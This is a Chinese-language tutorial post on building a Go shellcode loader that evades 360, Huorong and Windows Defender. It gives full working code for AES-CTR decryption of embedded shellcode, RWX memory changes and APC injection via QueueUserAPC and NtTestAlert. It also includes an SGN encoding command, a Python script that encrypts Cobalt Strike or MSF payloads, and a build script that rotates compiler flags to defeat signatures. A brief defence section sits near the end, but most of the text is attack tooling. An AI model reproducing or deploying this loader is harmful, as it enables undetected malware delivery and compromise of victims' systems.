cs免杀loader2(bypass360,火绒6.0,defender)
字数 1145 2025-08-30 06:50:12

Go语言免杀Loader技术详解(Bypass 360/火绒/Defender)

一、技术概述

本文介绍了一种基于Go语言实现的免杀Loader技术,该技术通过以下关键方法绕过主流杀毒软件(360安全卫士、火绒6.0、Windows Defender)的检测:

  1. AES-CTR加密的Shellcode加载
  2. APC注入技术执行Shellcode
  3. 多种编译参数混淆
  4. SGN编码器预处理

二、技术实现细节

1. 核心Loader代码分析

package main

import (
    "crypto/aes"
    "crypto/cipher"
    "fmt"
    "log"
    "syscall"
    "unsafe"
)

// AES-CTR解密函数
func decryptAES(key, encryptedData []byte) ([]byte, error) {
    block, err := aes.NewCipher(key)
    if err != nil {
        return nil, fmt.Errorf("aes.NewCipher failed: %v", err)
    }
    
    if len(encryptedData) < 8 {
        return nil, fmt.Errorf("encrypted data too short (min 8 bytes)")
    }
    
    nonce := encryptedData[:8]
    ciphertext := encryptedData[8:]
    
    iv := make([]byte, 16)
    copy(iv, nonce)
    
    stream := cipher.NewCTR(block, iv)
    plaintext := make([]byte, len(ciphertext))
    stream.XORKeyStream(plaintext, ciphertext)
    
    return plaintext, nil
}

func main() {
    // AES密钥和加密数据(实际使用中由加密脚本生成)
    var (
        aesKey = []byte{0x20, 0xed, 0x08, 0x47, 0x3c, 0x28, 0x78, 0xd4, 0xeb, 0xd1, 0x94, 0xc9, 0x82, 0x66,...}
        encryptedData = []byte{0xce, 0xad, 0x7e, 0x63, 0xcd, 0x7e, 0x95, 0xdf, 0x29, 0xe3, 0x59, 0x6f, 0x90, 0x8e,...}
    )
    
    // 解密Shellcode
    decrypted, err := decryptAES(aesKey, encryptedData)
    if err != nil {
        log.Fatalf("解密失败: %v", err)
    }
    
    // 获取Windows API函数
    kernel32 := syscall.NewLazyDLL("kernel32.dll")
    virtualProtect := kernel32.NewProc("VirtualProtect")
    getProcAddress := kernel32.NewProc("GetProcAddress")
    getModuleHandle := kernel32.NewProc("GetModuleHandleA")
    queueUserAPC := kernel32.NewProc("QueueUserAPC")
    getCurrentThread := kernel32.NewProc("GetCurrentThread")
    
    var oldProtect uint32
    
    // 修改内存保护属性为可执行
    virtualProtect.Call(
        uintptr(unsafe.Pointer(&decrypted[0])),
        uintptr(len(decrypted)),
        syscall.PAGE_EXECUTE_READWRITE,
        uintptr(unsafe.Pointer(&oldProtect)),
    )
    
    // 获取NtTestAlert函数地址
    ntdllHandle, _, _ := getModuleHandle.Call(uintptr(unsafe.Pointer(syscall.StringBytePtr("ntdll.dll"))))
    ntTestAlertAddr, _, _ := getProcAddress.Call(ntdllHandle, uintptr(unsafe.Pointer(syscall.StringBytePtr("NtTestAlert"))))
    
    // 向当前线程APC队列添加任务
    currentThread, _, _ := getCurrentThread.Call()
    queueUserAPC.Call(
        uintptr(unsafe.Pointer(&decrypted[0])),
        currentThread,
        0,
    )
    
    // 触发APC执行
    syscall.Syscall(ntTestAlertAddr, 0, 0, 0, 0)
}

2. 关键技术点解析

(1) AES-CTR加密解密

  • 使用32字节AES-256密钥
  • 8字节随机nonce作为初始向量
  • 加密数据格式:nonce(8字节) + 密文
  • 解密时重新构建16字节IV(nonce + 8字节0)

(2) APC注入技术

  1. 通过QueueUserAPC将Shellcode加入当前线程的APC队列
  2. 调用NtTestAlert触发APC执行
  3. 优点:不需要创建新进程/线程,行为更隐蔽

(3) 内存保护修改

使用VirtualProtect将Shellcode所在内存区域修改为PAGE_EXECUTE_READWRITE,确保可以执行解密后的代码。

3. Shellcode预处理流程

  1. 生成原始Shellcode

    • 使用Cobalt Strike/MSF生成raw格式的payload
    • 建议使用无阶段(stageless)payload以获得更好免杀效果
  2. SGN编码

    sgn -a 64 -c 1 -o pd.bin payload_x64.bin
    
    • -a 64: 指定64位架构
    • -c 1: 编码1次
    • -o pd.bin: 输出文件名
  3. AES加密
    使用提供的Python脚本aesencode.py进行加密:

    import os
    from Crypto.Cipher import AES
    
    def encrypt_file_to_go_bytearray(input_file):
        # 读取原始文件
        with open(input_file, 'rb') as f:
            raw_data = f.read()
    
        # 生成32字节AES密钥和8字节nonce
        aes_key = os.urandom(32)
        nonce = os.urandom(8)
    
        # AES-CTR加密
        cipher = AES.new(aes_key, AES.MODE_CTR, nonce=nonce)
        ciphertext = cipher.encrypt(raw_data)
        encrypted_data = nonce + ciphertext
    
        # 生成Go语言格式的输出
        def format_bytearray(data, var_name):
            lines = []
            line = f"{var_name} := []byte{{"
            for i, byte in enumerate(data):
                if i > 0 and i % 12 == 0:
                    lines.append(line)
                    line = "    "
                line += f"0x{byte:02x}, "
            line = line.rstrip(", ")
            lines.append(line + "}")
            return "\n".join(lines)
    
        go_encrypted = format_bytearray(encrypted_data, "encryptedData")
        go_key = format_bytearray(aes_key, "aesKey")
        return go_encrypted, go_key
    
    if __name__ == "__main__":
        input_file = "pd.bin"  # SGN编码后的文件
        try:
            encrypted_data, aes_key = encrypt_file_to_go_bytearray(input_file)
            print("// 加密后的数据(复制到Go代码中使用):")
            print(encrypted_data)
            print("\n// AES密钥(解密时需要,请妥善保存):")
            print(aes_key)
            print("\n// 完整的Go解密数据变量定义:")
            print(f"var (\n    {aes_key}\n    {encrypted_data}\n)")
        except Exception as e:
            print(f"加密失败: {str(e)}")
    

4. 编译混淆技术

使用多种编译参数组合生成不同特征的二进制文件:

var buildConfigs = [][]string{
    {"-race"},
    {"-trimpath"},
    {"-ldflags", "-w"},
    {"-ldflags", "-s"},
    {"-ldflags", "-H=windowsgui"},
    {"-ldflags", "-w -s"},
    {"-trimpath", "-ldflags", "-w -s"},
    {"-ldflags", "-w -s -H=windowsgui"},
    {"-trimpath", "-ldflags", "-w -s -H=windowsgui"},
}

编译脚本自动生成随机文件名并尝试所有参数组合:

package main

import (
    "flag"
    "fmt"
    "math/rand"
    "os"
    "os/exec"
    "path/filepath"
    "strings"
    "time"
)

const (
    resultDir    = "result"
    randomLength = 8
)

// ...(buildConfigs定义如上)

func main() {
    sourceFile := flag.String("f", "", "要编译的Go源文件路径")
    flag.Parse()
    
    os.MkdirAll(resultDir, os.ModePerm)
    rand.Seed(time.Now().UnixNano())
    
    for _, params := range buildConfigs {
        exeName := generateRandomName() + ".exe"
        outputPath := filepath.Join(resultDir, exeName)
        cmdArgs := buildCommand(params, outputPath, *sourceFile)
        
        fmt.Printf("编译命令: go %s\n", strings.Join(cmdArgs, " "))
        if err := compile(cmdArgs); err != nil {
            fmt.Printf("[-] 编译失败: %v\n", err)
        } else {
            fmt.Printf("[+] 编译成功: %s\n\n", outputPath)
        }
    }
}

// ...(辅助函数实现)

三、防御与检测建议

1. 防御措施

  1. 禁用不必要的API调用

    • 监控VirtualProtectQueueUserAPC等高危API
    • 特别关注内存保护属性修改为可执行的操作
  2. 行为检测

    • APC注入检测
    • 异常的内存保护属性修改
  3. Go语言特征检测

    • Go二进制文件的特定特征
    • 大量运行时函数的调用

2. 检测方法

  1. 静态检测

    • 查找AES解密相关代码特征
    • 检测APC注入相关API调用模式
  2. 动态检测

    • 监控进程的异常APC操作
    • 检测内存中突然出现的可执行代码区域
  3. 熵值分析

    • 加密数据通常具有高熵值特征

四、总结

该免杀Loader结合了多种技术:

  1. Shellcode加密(AES-CTR)
  2. 编码混淆(SGN)
  3. 隐蔽执行(APC注入)
  4. 编译混淆(多种参数组合)

通过多层防护,有效绕过主流杀毒软件的静态和行为检测。防御方需要结合静态特征检测和动态行为分析才能有效防御此类攻击。

Go语言免杀Loader技术详解(Bypass 360/火绒/Defender) 一、技术概述 本文介绍了一种基于Go语言实现的免杀Loader技术,该技术通过以下关键方法绕过主流杀毒软件(360安全卫士、火绒6.0、Windows Defender)的检测: AES-CTR加密的Shellcode加载 APC注入技术执行Shellcode 多种编译参数混淆 SGN编码器预处理 二、技术实现细节 1. 核心Loader代码分析 2. 关键技术点解析 (1) AES-CTR加密解密 使用32字节AES-256密钥 8字节随机nonce作为初始向量 加密数据格式:nonce(8字节) + 密文 解密时重新构建16字节IV(nonce + 8字节0) (2) APC注入技术 通过 QueueUserAPC 将Shellcode加入当前线程的APC队列 调用 NtTestAlert 触发APC执行 优点:不需要创建新进程/线程,行为更隐蔽 (3) 内存保护修改 使用 VirtualProtect 将Shellcode所在内存区域修改为 PAGE_EXECUTE_READWRITE ,确保可以执行解密后的代码。 3. Shellcode预处理流程 生成原始Shellcode 使用Cobalt Strike/MSF生成raw格式的payload 建议使用无阶段(stageless)payload以获得更好免杀效果 SGN编码 -a 64 : 指定64位架构 -c 1 : 编码1次 -o pd.bin : 输出文件名 AES加密 使用提供的Python脚本 aesencode.py 进行加密: 4. 编译混淆技术 使用多种编译参数组合生成不同特征的二进制文件: 编译脚本自动生成随机文件名并尝试所有参数组合: 三、防御与检测建议 1. 防御措施 禁用不必要的API调用 监控 VirtualProtect 、 QueueUserAPC 等高危API 特别关注内存保护属性修改为可执行的操作 行为检测 APC注入检测 异常的内存保护属性修改 Go语言特征检测 Go二进制文件的特定特征 大量运行时函数的调用 2. 检测方法 静态检测 查找AES解密相关代码特征 检测APC注入相关API调用模式 动态检测 监控进程的异常APC操作 检测内存中突然出现的可执行代码区域 熵值分析 加密数据通常具有高熵值特征 四、总结 该免杀Loader结合了多种技术: Shellcode加密(AES-CTR) 编码混淆(SGN) 隐蔽执行(APC注入) 编译混淆(多种参数组合) 通过多层防护,有效绕过主流杀毒软件的静态和行为检测。防御方需要结合静态特征检测和动态行为分析才能有效防御此类攻击。